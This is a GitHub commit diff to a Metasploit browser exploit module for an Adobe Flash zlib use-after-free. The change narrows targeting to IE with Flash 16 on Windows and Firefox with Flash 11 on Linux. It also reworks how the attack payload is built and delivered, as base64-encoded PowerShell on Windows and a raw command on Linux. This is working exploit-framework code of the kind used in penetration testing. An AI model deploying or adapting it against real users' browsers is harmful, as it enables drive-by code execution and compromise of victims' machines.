Skip to content

Commit b9f9647

Browse files
committed
Use all the BES power
1 parent 4a5d2d1 commit b9f9647

File tree

1 file changed

+22
-6
lines changed

1 file changed

+22
-6
lines changed

modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb

Lines changed: 22 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -45,16 +45,31 @@ def initialize(info={})
4545
'BrowserRequirements' =>
4646
{
4747
:source => /script|headers/i,
48+
:arch => ARCH_X86,
4849
:os_name => lambda do |os|
4950
os =~ OperatingSystems::Match::LINUX ||
5051
os =~ OperatingSystems::Match::WINDOWS_7
5152
end,
52-
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
53+
:ua_name => lambda do |ua|
54+
case target.name
55+
when 'Windows'
56+
return true if ua == Msf::HttpClients::IE
57+
when 'Linux'
58+
return true if ua == Msf::HttpClients::FF
59+
end
60+
61+
false
62+
end,
5363
:flash => lambda do |ver|
54-
(ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')) ||
55-
(ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438'))
56-
end,
57-
:arch => ARCH_X86
64+
case target.name
65+
when 'Windows'
66+
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')
67+
when 'Linux'
68+
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438')
69+
end
70+
71+
false
72+
end
5873
},
5974
'Targets' =>
6075
[
@@ -97,13 +112,14 @@ def on_request_exploit(cli, request, target_info)
97112

98113
def exploit_template(cli, target_info)
99114
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
100-
target_payload = get_payload(cli, target_info)
101115

102116
if target.name =~ /Windows/
117+
target_payload = get_payload(cli, target_info)
103118
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
104119
b64_payload = Rex::Text.encode_base64(psh_payload)
105120
platform_id = 'win'
106121
elsif target.name =~ /Linux/
122+
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
107123
b64_payload = Rex::Text.encode_base64(target_payload)
108124
platform_id = 'linux'
109125
end

0 commit comments

Comments
 (0)